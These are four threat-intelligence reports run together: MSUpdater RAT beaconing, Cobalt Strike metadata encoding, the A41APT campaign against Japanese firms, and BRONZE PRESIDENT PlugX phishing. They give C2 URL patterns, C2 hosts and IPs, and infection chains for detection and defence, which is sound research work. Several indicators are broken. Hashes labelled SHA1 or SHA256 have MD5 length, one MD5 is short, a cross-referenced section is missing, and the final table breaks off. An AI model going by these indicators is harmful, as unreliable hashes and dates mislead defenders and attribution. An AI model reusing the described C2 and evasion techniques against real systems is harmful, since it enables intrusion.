# “MSUpdater” Trojan and Ongoing Targeted Attacks ## Overview Researchers from Zscaler and Seculert separately identified incidents and threats discussed in this report. Within a private security forum, we discussed and determined that we had identified related incidents. Zscaler and Seculert collaborated on this report to aggregate and correlate our findings along with open-source intelligence (OSINT) to detail a lesser-known “MSUpdater” remote access Trojan (RAT) and its linkage to current targeted attacks and others dating back to at least early 2009. Foreign and domestic (United States) companies with intellectual property dealing in aero/geospace and defense seem to be some of the recent industries targeted in these attacks. The goal of this report is to aggregate information, draw some correlations, and provide an overview of this threat to facilitate its identification, detection, and functionality. With this goal in mind, we also aim not to reveal anything that might disrupt any investigations or state something without additional open-source corroboration. We as security researchers believe that our success is not measured by how much information we collect, but in how we use and share the information to better secure and protect the Internet community from threats. We hope that the information within this report helps to detect and remediate this threat within organizations. ## “MSUpdater” Trojan Incidents Observed Zscaler and Seculert separately identified security incidents where infected customers in the aforementioned industries had command and control (C&C) beacons matching the below patterns. Standard Microsoft Internet Explorer user-agent strings (versions 6 – 8) were observed for the C&C communications. The most often observed pattern, and likely the C&C “check-in” behavior followed the pattern: - HTTP GET requests to the path: `/microsoftupdate/getupdate/default.aspx?ID=[num1]&para1=[num2]&para2=[num3]&para3=[num4]` Where the [num] fields are placeholders for parameters passed by the victim in the form of numbers. Other patterns observed from the infected hosts to the C&Cs were: - HTTP GET and POST requests to the path: `/microsoft/errorpost/default/connect.aspx?ID=[num1]` - HTTP POSTs to the path: `/microsoft/errorpost/default.aspx?ID=[num1]` Clearly, the above patterns are trying to appear as though they are related to Microsoft’s “Windows Update” service versus something malicious. A clear, common name for this particular threat did not seem to emerge in the open-source, so we have commonly referred to this threat family as the “MSUpdater” Trojan. The first time this pattern was logged in traffic traversing Zscaler’s Cloud infrastructure was on 12/25/2010 (Christmas day). It is likely that the Christmas day infection resulted from a targeted phishing email as related attacks in this report identify this as the infection vector. No suspicious web transactions were observed from the infected host prior to the C&C beaconing. Seculert FogSense Cloud-based service observed instances of this same infected beaconing pattern for their customers as early as March 2010. Zscaler and Seculert each identified these infections separately by conducting traffic analysis to identify previously unknown threats to then protect their customers. OSINT on the beaconing patterns we observed provided additional information to this previous threat. ## Infection Vector: Phishing Email with Malicious Attachment A publicly available presentation from Sword & Shield Enterprise Security Inc. includes a slide discussing the correlation of a malicious phishing attachment to C&C beaconing that resembles the same pattern identified above. Specifically, the presentation provides a screenshot of an associated malicious phishing email showing that it was sent April 28, 2011 with the subject “Information for Contractor” and “chap6.pdf” attachment. The presentation then goes on to show that opening the PDF attachment exploited a vulnerability and caused a process named “GoogleTray.exe” to launch and connect to: - mail.hfmforum.com/microsoftupdate/getupdate/default.aspx ## Related Backdoor / Beaconing Pattern By linking domain registration information from some of the C&Cs observed, we were able to determine other C&C domains used by this malicious actor/group. A specific example of this was the following registration information observed in a “MSUpdater” Trojan C&C domain: 1. http://ilta.ebiz.uapps.net/ProductFiles/productfiles/782804/2011siems.pptx This contact information was used in other domains that have some open-source reports on C&C usage, for example: - SISEAU.COM - VSSIGMA.COM These domains have open-source reports tied to malware samples with MD5 hashes: - 3459BC37967480DEE405A5AC678B942D - 6631815D4AB2A586021C24E02E5CC451 Communication to these domains was also observed with the following C&C communication path pattern: - `/search[RndNum1]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2]` For example: - `/search521649?h1=51&h2=1&h3=N07630&h4=FKFDFDAHAEBAEPFLFK` The number of parameters in these “search” beacons closely resembles that in the previously mentioned “para” beacons. However, the previously mentioned “para” beacons appear to use a different encoding. These related samples also have VirusTotal reports which provide additional details about the binaries and how they are being detected. ## September 2010 CVE-2010-2883 PDF Phish September 16, 2010 the blog Contagio detailed a malicious phishing campaign exploiting a buffer overflow vulnerability in the Adobe PDF reader. At the time, this was a 0-day exploit, as a patch was not released by Adobe until October 5, 2010. The exploit was contained in the attachment: - INTEREST_&_FOREIGN_EXCHANGE_RATES.pdf - MD5: 4EF704239FA63D1C1DFC2EA2DA0D711 This PDF dropped a similar set of files: - setup.exe: - MD5: 95D42D365489A6E5EBDF62565C5C8AA2 - Sophos uniquely detects as Mal/Ovoxual-A (detection added 07/19/2010) - Which creates FAVORITES.DAT (data file) and launches msupdater.exe - msupdater.exe: - MD5: 374075CE8B6E8F0CD1F90009FD5A703B ## “Conference” Lure As noted in the section on the September 23, 2010 malicious phishing incident, the name of the particular malicious attachment was “ISSNIP_2010.pdf” related to the International Conference on Intelligent Sensors, Sensor Networks and Information Processing (ISSNIP). The use of conference-related subjects seems to be the popular lure in this actor’s phishing messages as noted in the above section of related malware. For example: - IEEE Aerospace Conference - Iraq Peace Conference - International Conference on Communication System Software and Middleware (COMSWARE) ## Closing Remarks Zscaler and Seculert experienced separate security incidents against various customers dealing with a threat appearing to be related to specific targeted attacks. This report provided some insight into the threat and draws in information available in the open-source. In particular, beaconing patterns and indicators were identified to facilitate detection of the threat. Additionally, related malware samples and malware family names, such as “Ovoxual”, have been listed for further identification of related samples. Based on the information available, the threat arrives in phishing emails with a PDF attachment, possibly related to conferences for the particular targeted industry. The PDF exploits vulnerabilities within Adobe (for example, a 0-day exploit was used against CVE-2010-2883) and drops a series of files to begin communicating with the command and control (C&C). The binary dropped and launched from the PDF exploit is virtual machine (VM) aware in order to prevent analysis within a sandbox. If a VM is not detected, it will drop an executable (often named “msupate.exe”), which is also VM aware, and an encrypted file (often named “FAVORITES.DAT”). Again, if no VM is detected this executable will decrypt and run the contents in memory as a process (often the svchost.exe process). Once the infected system communicates with the C&C, two versions of the beaconing pattern have been observed. The most well-documented version of the C&C beaconing adheres to the general formats: - `/search[RndNum]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2]` - `/search[RndNum]?h1=[String1]` - `/upload[RndNum]?h1=[String1]` - `/download[RndNum]?h1=[String1]`
# Cobalt Strike Analysis and Tutorial: CS Metadata Encoding and Decoding **By Chris Navarrete, Durgesh Sangvikar, Yu Fu, Yanhui Jia, Siddhart Shibiraj** **May 6, 2022** **Category:** Tutorial **Tags:** C2, Cobalt Strike, Evasion, malleable C2 profile, post-exploitation ## Executive Summary Cobalt Strike is commercial threat emulation software that emulates a quiet, long-term embedded actor in a network. This actor, known as Beacon, communicates with an external team server to emulate command and control (C2) traffic. Due to its versatility, Cobalt Strike is commonly used as a legitimate tool by red teams but is also widely used by threat actors for real-world attacks. Different elements of Cobalt Strike contribute to that versatility, including the encoding algorithm that obfuscates metadata sent to the C2 server. In a previous blog, “Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect,” we learned that an attacker or red team can define metadata encoding indicators in Malleable C2 profiles for an HTTP transaction. When Cobalt Strike’s Beacon “phones home,” it sends metadata – information about the compromised system – to the Cobalt Strike TeamServer. The red team or attackers have to define how this metadata is encoded and sent with the HTTP request to finish the C2 traffic communication. In this blog post, we will go through the encoding algorithm, describe definitions and differences of encoding types used in the Cobalt Strike framework, and cover some malicious attacks seen in the wild. In doing so, we demonstrate how the encoding and decoding algorithm works during the C2 traffic communication, and why this versatility makes Cobalt Strike an effective emulator for which it is difficult to design traditional firewall defenses. ## Metadata Encoding Algorithm There are five encoding schemes supported by Cobalt Strike. The RSA-encrypted metadata is being encoded to easily transfer the ciphered binary data in network protocol. ### Base64 Encoding and Decoding Base64 Encoding and Decoding is a standard Request for Comments (RFC) algorithm implementation. The author has not made any changes to the Base64 Character set. Here is the list of characters used for encoding and decoding the data: ``` [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' ] ``` Let's understand the use of the Base64 algorithm in Malleable profiles by studying an example. 1. **Profile Metadata** Havex.profile uses Base64 encoding to transform metadata information about compromised systems before sending it. The metadata is encoded using the Base64 encoding algorithm and the result is placed in the Cookie header. 2. **HTTP C2 traffic** The HTTP C2 traffic generated from the profiles shows the Base64-encoded metadata about the compromised machine. 3. **Base64 Decoding** Any tool can decode the encrypted metadata. We have used the Python Base64 library to complete the task. Here is the decoded data from the script. This is RSA-encrypted metadata about the compromised system: “751990bee317e74e4f2aa6f13078ef22dd884e065b738f8373f49dee401a069d5dfd1d3e39e94cc637e21364e1fd71ab3322fb9c7a987fc6aa27” ### Base64URL Encoding and Decoding Base64URL is a modified version of the Base64 encoding algorithm. The modified version uses URL and filename-safe characters for encoding and decoding. Here is the character set: ``` [ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '-', '_' ] ``` Compared to the Standard Base64 character set, the modified version has replaced ‘+’ with ‘-’ and ‘/’ with ‘_’. The Pad character ‘=’ is skipped from the encoded data as it is normally percent-encoded in URI. Let's understand the use of the Base64URL algorithm in Malleable profiles by studying an example. 1. **Profile Metadata** Cnnvideo_getonly.profile uses Base64URL encoding to transform the metadata information. The metadata is encoded using the Base64URL encoding algorithm and appends the data to parameter g. 2. **HTTP C2 traffic** The HTTP C2 traffic generated by the Beacon shows the parameter value is the Base64URL-encoded metadata about the victim. 3. **Base64URL decoding** A user can replace the ‘-’ with ‘+’ and ‘_’ with ‘/’ along with adding a pad character ‘=’. The replaced string becomes standard Base64-encoded data. Then any Base64 decoding tool can be used to get the encrypted metadata. Alternatively, a user can use a scripting language to do the job. The output of the script is RSA-encrypted metadata: “60495dff002eddaa0c409aaaae0fda592810993ae0ae319c87d62b65c54d92447daf2c1bc84930c5d90ed3a023227e254d3a2c28763be372bb” ### NetBIOS Encoding and Decoding NetBIOS encoding is used to encode NetBIOS service names. The Cobalt Strike tool uses the same algorithm to encode victim metadata when it is being transferred in C2 communication. In the NetBIOS encoding algorithm, each byte is represented by two bytes of ASCII characters. Each 4-bit (nibble) of the input byte is treated as a separate byte by right adjusting/zero filling the binary number. This number is then added to the value of ASCII character ‘a’. The resulting byte is stored as a separate byte. Here is the character set used for encoding: ``` [‘a’, ‘b’, ‘c’, ‘d’, ‘e’, ‘f’, ‘g’, ‘h’, ‘i’, ‘j’, ‘k’, ‘l’, ‘m’, ‘n’, ‘o’, ‘p’] ``` Let's understand the use of the NetBIOS algorithm in Malleable profiles by studying an example. 1. **Profile Metadata** Ocsp.profile uses NetBIOS encoding to convert the victim’s metadata. The metadata is encoded using the NetBIOS encoding algorithm. The resulting data is appended to the URI. 2. **HTTP C2 traffic** The HTTP traffic generated by the Beacon using the OCSP profile shows the encoded metadata. 3. **NetBIOS decoding** A Python implementation to decode the NetBIOS-encoded metadata produces RSA-encrypted metadata about the victim: “5725245edcb589b305e33e02da1cda208ed083bed8a1ae0b3a87da0f9d6ebe31025ab67c58572acb9757288cc2e78bea414249fa8cb0783485a1b5” ### NetBIOSU Encoding and Decoding The NetBIOSU algorithm is a slightly modified version of the NetBIOS algorithm. The slight change is the character set used for encoding the algorithm. In this algorithm, the character set is the uppercase version of the set used in the normal NetBIOS algorithm: ``` [‘A’, ‘B’, ‘C’, ‘D’, ‘E’, ‘F’, ‘G’, ‘H’, ‘I’, ‘J’, ‘K’, ‘L’, ‘M’, ‘N’, ‘O’, ‘P’] ``` NetBIOSU uses the same encoding process as in the NetBIOS algorithm. Let's understand the use of the NetBIOSU algorithm in Malleable profiles by studying an example. 1. **Profile Metadata** Asprox.profile uses NetBIOSU encoding to convert the victim’s metadata. The metadata is encoded using the NetBIOSU encoding algorithm. The resulting data is appended to the URI. 2. **HTTP C2 traffic** The HTTP traffic generated by the Beacon using the asprox profile shows the metadata about the victim. 3. **NetBIOSU decoding** A Python implementation to decode the NetBIOSU-encoded metadata produces RSA-encrypted metadata about the victim: “722676e535f86ffc29ba1cafb9856d98d1f697a83b0afc5bb143e2cf2242152a351081fb837192da3e3b2d9021fab75ce32677b6299a24d15e28db883” ### Mask Encoding and Decoding The Mask encoding algorithm can be indicated and combined with other encoding algorithms in the Malleable C2 profile, which can be loaded by the TeamServer and used as C2 communication. The Beacon will generate the random four bytes as Mask xor key, then use the Mask key to xor the 128-byte metadata encrypted and send the Mask key and encoded data to the TeamServer for C2 communication. 1. A partial profile with metadata encoded by Mask and Base64URL defines the URI and metadata encoding algorithm as Mask and Base64URL, and the encoded metadata will be appended to the URI. 2. The C2 traffic based on the profile shows the entire URI. The remaining value is encoded by Base64URL. 3. **Data encoding and decoding** The Base64URL-encoded data and the Base64URL-decoded data produce the Mask xor key and the metadata encoded by the Mask xor algorithm. The decoded hex data length is 132 and the first four bytes are the Mask xor key. The remaining 128 bytes are the metadata encoded by the Mask xor algorithm. ### Cases in the Wild The following sections show two different cases of Cobalt Strike payloads found in the wild used by malware. One uses Base64 and the other uses Base64URL encoding. Palo Alto Networks identified them using static and dynamic analysis under the Unit42.CobaltStrike tag in the AutoFocus system. - **Base64** SHA256: 6b6413a059a9f12d849c007055685d981ddb0ff308d6e3c2638d197e6d3e8802 - **Base64URL Encoding** SHA256: f6e75c20ddcbe3bc09e1d803a8268a00bf5f7e66b7dbd221a36ed5ead079e093 ## Conclusion Cobalt Strike is a potent post-exploitation adversary emulator. The five encoding algorithms detailed above are elaborate and are designed to evade security detections. A single security appliance is not equipped to prevent a Cobalt Strike attack. Only a combination of security solutions – firewalls, sandboxes, endpoints, and software to integrate all these components – can help prevent this kind of attack. Palo Alto Networks customers are protected from this kind of attack by the following: 1. Next-Generation Firewalls (NGFWs) with Threat Prevention signatures 86445 and 86446 identify HTTP C2 requests with the Base64 metadata encoding in default profiles. 2. WildFire, an NGFW security subscription, and Cortex XDR identify and block Cobalt Strike Beacon. 3. AutoFocus users can track this activity using the CobaltStrike tag. ## Indicators of Compromise **CS Samples** - 6b6413a059a9f12d849c007055685d981ddb0ff308d6e3c2638d197e6d3e8802 - f6e75c20ddcbe3bc09e1d803a8268a00bf5f7e66b7dbd221a36ed5ead079e093 **CS Beacon Samples** - SHA256 Hash: fc95e7f4c8ec810646c16c8b6075b0b9e2cc686153cdad46e82d6cca099b19e7 - SHA-256 Hash: 11b8beaa53353f5f52607e994849c3086733dfa01cc57fea2dae42eb7a6ee972 **CS TeamServer IP addresses** - 80.255.3[.]109 - 143.244.178[.]247
# A41APT Case Analysis of the Stealth APT Campaign Threatening Japan **Authors:** Yusuke Niwa, Hajime Yanagishita, Charles Li, Suguru Ishimaru, Motohiko Sato **Date:** 2020/01/28 **Conference:** Japan Security Analyst Conference 2021 ## Agenda 1. Campaign Overview 2. Malware Analysis 3. Characteristics of Intrusion 4. Threat Actor’s Infrastructure 5. Consideration of Threat Actor’s Attribution 6. Summary ## 1. A41APT Campaign Overview - **Period of Activity:** March 2019 to January 2021 - **Target:** Japan (Japanese companies including overseas branches) - **Initial Vector:** Not spear phishing but SSL-VPN abuse - **Malwares:** New type of malwares using DLL-sideloading (SodaMaster/P8RAT/DESLoader/FYAntiLoader, etc.) - **Public Info:** Very few - **Characteristics:** Very tough to detect attacker’s intrusion. We call this threat actor A41APT from the hostname feature "DESKTOP-A41UVJV" that is continuously used during the initial intrusion in this campaign. ## 2. Malware Analysis 1. **DESLoader** 2. **DESLoader Payloads** - SodaMaster - P8RAT Update - Stager Shellcode - FYAntiLoader 3. **FYAntiLoader** NEW 4. **xRAT** NEW ### 2-1. DESLoader (Aka. SigLoader) - Loader file for DLL Side-Loading and files contain encrypted shellcode and payload. - Decrypt multiple PEs and shellcodes sequentially in multiple stages. - Multiple algorithms are used for decryption. - Finally, the payload is executed in memory. ### Example of DESLoader's Payload Decoding Flow - **Reflective Side-loading:** - `policytool.exe` → `jli.dll` → `vac.dll` → `stage_1.shellcode` → `stage_1.dll` - **Junk code:** Anti-analysis junk codes are found using `OutputDebugStringA()`, `_time64()`, `rand()`, `srand()` ### jli.dll/stage_1.dll Multiple algorithms (XOR, DES, AES, and RSA) are defined and the order of using them is configured. Read encrypted data in specified DLL from the end of data till configured size and decrypt. ### Variant of stage_2.shellcode - In addition to stage_2.shellcode that has almost the same feature as stage_1.shellcode, we found 2 types of stage_2.shellcodes: - Stager Shellcode - Shellcode dedicated for SodaMaster ## 3. Characteristics of Intrusion ### A41APT’s Intrusion Method - **Initial Intrusion:** Penetration via SSL-VPN using vulnerabilities or stolen credentials. - **Internal Recon:** Perform a port scan to search for open RDP or SMB port. Then, connect to RDP with an administrator account. - **Persistence of Malware:** Persistence by scheduled task registration to execute the legitimate PE. - **C2 Communication:** Communicate with C2 server via DESLoader’s payload or PowerShell remoting. - **Trace Removal:** Delete the event log after communication with C2 is finished. ### Characteristics of Compromise 1. Initial intrusion using SSL-VPN products 2. Network scanning and credential theft 3. PowerShell remoting to remove event logs 4. Persistence of malware by scheduled task ### 3-1. Initial Intrusion via SSL-VPN - In October 2019, an attacker used the hostname DESKTOP-A41UVJV to hijack sessions to enter the internal network via SSL-VPN product, Pulse Secure. ### 3-2. Network Scanning and Credential Theft - After the intrusion by SSL-VPN, perform internal network scanning to find open port RDP (3389/TCP) and SMB (445/TCP). ### 3-3. PowerShell Remoting to Delete Event Logs - Event log: the end of a PowerShell remoting session. ### 3-4. Persistence of Malware by Scheduled Task - Registered a task scheduler that executes a legitimate executable file that loads DESLoader every 15 minutes. ## 4. Threat Actor’s Infrastructure ### Hostname Used for the Initial Intrusion via SSL-VPN - Tendency to use distinctive hostnames and attempt intrusions while changing IP addresses. ### Characteristics of the C2 Infrastructure - For C2, there is a tendency to use IP addresses and not to use domains. ## 5. Consideration of Threat Actor’s Attribution ### 1. Relevance to APT10 - APT10 involvement in targeted attack campaign against Turkey. ### 2. Relevance to BlackTech - Identified common features between SodaMaster and TSCookie. ## 6. Summary - **Intrusion via SSL-VPN** - **Heavy usage of RDP for lateral movement (mainly servers)** - **Abusing DLL-Sideloading** - **Remove traces** - **Targeting Japanese companies including overseas branches** ## Wrap Up: TTPs ~ MITRE ATT&CK Mapping - **Initial Access:** External Remote Services (T1133) - **Execution:** Command and Scripting Interpreter: PowerShell (T1059.001) - **Persistence:** Scheduled Task/Job (T1053.005) - **Privilege Escalation:** Hijack Execution Flow (T1574.001) - **Defense Evasion:** Clear Windows Event Logs (T1070.001) - **Credential Access:** OS Credential Dumping (T1003.002) - **Discovery:** Account Discovery (T1087.002) - **Lateral Movement:** Remote Desktop Protocol (T1021.001) - **Collection:** Archive Collected Data (T1560.001) - **Command and Control:** Application Layer Protocol (T1071.001) ## Examples of Countermeasures Against This Campaign - **SSL-VPN:** Implementation of MFA, Patch adaptation operation, Monitoring. - **End User:** Network Monitor by NTA, Strengthen security measures for servers. - **Vendor (SOC):** Talk with end user to know whitelist of authentication. ## Conclusion The A41APT campaign is very stealthy and difficult to detect, but it is not undetectable. The compromised target has shifted from endpoint to server, and the intrusion route has also shifted from spear phishing to abusing SSL-VPN. Security measures need to be reviewed in your organization to respond to changes in attack methods.
# BRONZE PRESIDENT Targets Government Officials The likely Chinese government-sponsored threat group uses decoy documents and PlugX malware to compromise targets. In June and July 2022, Secureworks® Counter Threat Unit™ (CTU) researchers identified a PlugX malware campaign targeting computers belonging to government officials of several countries in Europe, the Middle East, and South America. PlugX is modular malware that contacts a command and control (C2) server for tasking and can download additional plugins to enhance its capability beyond basic information gathering. Several characteristics of this campaign indicate that it was conducted by the likely Chinese government-sponsored BRONZE PRESIDENT threat group, including the use of PlugX, file paths and naming schemes previously used by the threat group, the presence of shellcode in executable file headers, and politically-themed decoy documents that align with regions where China has interests. The malware is embedded within RAR archive files. Opening the archive on a Windows computer with default settings displays a Windows shortcut (LNK) file that masquerades as a document. Alongside the shortcut is a hidden folder that contains the malware, embedded eight levels deep in a sequence of hidden folders named with special characters. This tiering is likely to bypass mail-scanning products that may not traverse the entire path when scanning content, suggesting that the delivery mechanism was phishing emails, as there is no other benefit to creating such a folder structure. To execute the malware, the recipient must click the Windows shortcut file. The shortcut executes a renamed legitimate file contained in the eighth hidden folder. Alongside the legitimate file is a malicious DLL and an encrypted payload file. CTU™ researchers observed the malicious payload using the folder names and filenames in the following table: | Hidden folder | Legitimate binary | Malicious DLL | PlugX payload | |---------------|-------------------|----------------|---------------| | HU proposals to the draft EUCO | Opera.exe (renamed test.tmp) | opera_browser.dll | operaDB.dat | | Embassy of the Republic of Suriname 2022-N-033 | Opera.exe (renamed mail.tmp) | opera_browser.dll | operaDB.dat | | Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH | Opera.exe (renamed test.bpl) | opera_browser.dll | operaDB.dat | | EL Non-Paper Pandemic Resilience final.docx | Adobe Stock Photos Cs3.exe (renamed test.chs) | Adobe_Caps.dll | AdobePlugin.dat | | 313615_MONTENEGRO-2021-HUMAN-RIGHTS-REPORT | AvastBrowserUpdate.exe (renamed winrar.chm) | Goopdate.dll | AvastDB.dat | | EU 31st session of the Commission on Crime Prevention and Criminal Justice United Nations on Drugs and Crime | AvastBrowserUpdate.exe (renamed chrom.uce) | Goopdate.dll | AvastDB.dat | | NV 309-2022 HMA's departure | Opera.exe (renamed test.chm) | opera_browser.dll | operaDB.dat | The legitimate binary files are vulnerable to DLL search order hijacking. When executed, they import the malicious DLL that loads, decrypts, and executes the payload file. In each sample analyzed by CTU researchers, the shortcut file metadata indicates the file was created on a Windows system either with hostname "desktop-n2v1smh" or "desktop-cb248vr". Once running, the payload drops a decoy document to the logged-on user's %Temp% directory and copies the three files to a ProgramData subdirectory using the pattern "<Application><3 characters>" (e.g., Operavng). This naming scheme has been used in previous BRONZE PRESIDENT PlugX campaigns. CTU researchers observed that when the payload performs the copy operation, it names the legitimate executable with its usual name (e.g., Opera.exe, AdobePlugin.exe, AvastBrowser.exe). The political nature of the decoy documents suggests that the government officials of various countries are targets for BRONZE PRESIDENT's intelligence collection efforts. The threat group consistently targets China's neighbors such as Myanmar and Vietnam. However, its collection requirements can change quickly and are often driven by geopolitical events such as the war in Ukraine. PlugX sets up persistence on the host by setting a registry Run key. The running instance of the PlugX payload executes the copy of the legitimate file under ProgramData, passing it a command-line argument before exiting. Passing command-line arguments lets the malware adapt its execution based on its execution location. CTU researchers observed this tactic in previous BRONZE PRESIDENT PlugX campaigns. Once running, the legitimate file again imports the malicious DLL in the same folder, loading, decoding, and passing execution to the malicious payload file. The payload file calls GetCommandLineW to check the number of arguments. If an additional argument follows the file path, the malware opens the decoy document previously dropped to the user's %Temp% folder and continues execution with its C2 routine. The malicious DLLs and payloads are heavily obfuscated to hinder analysis and to reduce the likelihood of detection by host-based security software. The malicious DLL executes its payload using an unusual technique. Instead of using a call or jmp instruction, it first decodes and copies the payload to a new allocation of memory and then makes a call to EnumThreadWindows to pass execution to the start of the malicious payload file. The start of the payload file is treated as executable code in the same way as a Cobalt Strike stageless payload artifact. This could be a tactic developed by BRONZE PRESIDENT to increase the likelihood of its malware being misidentified as the popular Cobalt Strike tool. The payload resolves various required Windows functions. It then starts a new thread that makes repeated calls to CheckRemoteDebuggerPresent, exiting if it detects a debugger. BRONZE PRESIDENT has demonstrated an ability to pivot quickly for new intelligence collection opportunities. Organizations in geographic regions of interest to China should closely monitor this group's activities, especially organizations associated with or operating as government agencies. To mitigate exposure to this malware, CTU researchers recommend that organizations use available controls to review and restrict access using the indicators listed in the following table. Note that IP addresses can be reallocated. The IP addresses may contain malicious content, so consider the risks before opening them in a browser. | Indicator | Type | Context | |-----------|------|---------| | c285eaea0fe441f550479f7ef85a3dd0 | MD5 hash | Malicious RAR file containing PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH.rar) | | 41d61af1d61d6e1c4718132e64268005 | SHA1 hash | Malicious RAR file containing PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH.rar) | | 4cd7d84e464a2786446df623629aa7e2 | SHA256 hash | Malicious RAR file containing PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministarka vanjskih poslova BiH.rar) | | 3a94449d664033955012edac0161b2b8 | MD5 hash | Malicious shortcut file that executes PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH.pdf.lnk) | | 91192be3288369f341951143a81c890c | SHA1 hash | Malicious shortcut file that executes PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH.pdf.lnk) | | 254739e88ba4b4e62c5e2a313303b4bc | SHA256 hash | Malicious shortcut file that executes PlugX (Predlog termina zvanicne posjete zamjenice predsjedavajuceg Vijeca ministara i ministarke vanjskih poslova BiH.pdf.lnk) | | 370557aa593c96533e5994d073ddd202 | MD5 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 81e8fb5149fda8e1231c9f0f22001cea | SHA1 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 9adf5dd03388fab2866014d0551881d6 | SHA256 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 2a1fc50626afbcc6d8fbda3c65d6cc2b | MD5 hash | Encrypted PlugX payload (operaDB.dat) | | c378c0716bf20ebc83403871ae9d96a2 | SHA1 hash | Encrypted PlugX payload (operaDB.dat) | | d556d7603178a7e4242c01fa5e490ea4 | SHA256 hash | Encrypted PlugX payload (operaDB.dat) | | 041a00485779c5a9e42d803e730ceb6c | MD5 hash | Malicious RAR file containing PlugX (Embassy of the Republic of Suriname 2022-N-033.rar) | | bd6e5031067724d51abfc2cd2d0fb5ad | SHA1 hash | Malicious RAR file containing PlugX (Embassy of the Republic of Suriname 2022-N-033.rar) | | 77a61de438f618fab6e75a920e4ca675 | SHA256 hash | Malicious RAR file containing PlugX (Embassy of the Republic of Suriname 2022-N-033.rar) | | 3277b31aa055bc149af8c37699019586 | MD5 hash | Malicious shortcut file that executes PlugX (Embassy of the Republic of Suriname 2022-N-033.pdf.lnk) | | d0d6618fc79ffa3de2aec58603539a29 | SHA1 hash | Malicious shortcut file that executes PlugX (Embassy of the Republic of Suriname 2022-N-033.pdf.lnk) | | 94e76db201d4998394effae2c132730f | SHA256 hash | Malicious shortcut file that executes PlugX (Embassy of the Republic of Suriname 2022-N-033.pdf.lnk) | | 675ccbd9318414e2eb0dcabf8a387723 | MD5 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 89f187c9f76d8afa2b6a8c54fa0bc105 | SHA1 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | abea565d16ec5724591331d962d5cf02 | SHA256 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 5d71c482148a76900888c8e1d382d413 | MD5 hash | Encrypted PlugX payload (operaDB.dat) | | 6637e077ea52dc62cd31b1a868b3c222 | SHA1 hash | Encrypted PlugX payload (operaDB.dat) | | 02375309e74e91b96c0a41f577f3e4b9 | SHA256 hash | Encrypted PlugX payload (operaDB.dat) | | 0e37ed727cdb8ae96a50df6391991cc1 | MD5 hash | Malicious RAR file containing PlugX (HU proposals to the draft EUCO conclusions.rar) | | 5285fedf930ccb1acf418c52d581e535 | SHA1 hash | Malicious RAR file containing PlugX (HU proposals to the draft EUCO conclusions.rar) | | cbc2d11cb9a495d4697c783cd2aa711a | SHA256 hash | Malicious RAR file containing PlugX (HU proposals to the draft EUCO conclusions.rar) | | 788cf16121782b4358dc8350012470ab | MD5 hash | Malicious shortcut file that executes PlugX (HU proposals to the draft EUCO conclusions.pdf.lnk) | | 63d63b96ef50a4002d3acf8f50bc2b62 | SHA1 hash | Malicious shortcut file that executes PlugX (HU proposals to the draft EUCO conclusions.pdf.lnk) | | 3cdd37d2459779bd17dd47d4dd7f0df6 | SHA256 hash | Malicious shortcut file that executes PlugX (HU proposals to the draft EUCO conclusions.pdf.lnk) | | 3e004dd25b5e836bc2500098c55a2b6d | MD5 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 602a80e0924a65316cafc48356fe527e | SHA1 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 7c29f4a79f74f8b299fb9e778322b002 | SHA256 hash | Malicious DLL that loads PlugX (opera_browser.dll) | | 5536783ddc6c15e3e8aef2a756536020 | MD5 hash | Encrypted PlugX payload (operaDB.dat) | | 0809275ecacd52869b43bf4e9804e309 | SHA1 hash | Encrypted PlugX payload (operaDB.dat) | | 910c0e5532a94856e8c9047e8c951e21 | SHA256 hash | Encrypted PlugX payload (operaDB.dat) | | 0e91279b5f7f732106077ab10aa08c58 | MD5 hash | Malicious RAR file containing PlugX (EL Non-Paper Pandemic Resilience final.rar) | | b4aa56abac4a19aedcda87ef2fb7c8bb | SHA1 hash | Malicious RAR file containing PlugX (EL Non-Paper Pandemic Resilience final.rar) | | 4bbb10842941e9004c5449966fca1648 | SHA256 hash | Malicious RAR file containing PlugX (EL Non-Paper Pandemic Resilience final.rar) | | 1f47ba7fd131a1a6f7623d76b420d7e9 | MD5 hash | Malicious shortcut file that executes PlugX (EL Non-Paper Pandemic Resilience final.docx.lnk) | | 07c5e675714a1af618d8eb1f370be127 | SHA1 hash | Malicious shortcut file that executes PlugX (EL Non-Paper Pandemic Resilience final.docx.lnk) | | bf46f4724e5a3b05130df40142446840 | SHA256 hash | Malicious shortcut file that executes PlugX (EL Non-Paper Pandemic Resilience final.docx.lnk) | | 7c3a5bbbfb53d4eb91cd174527460824 | MD5 hash | 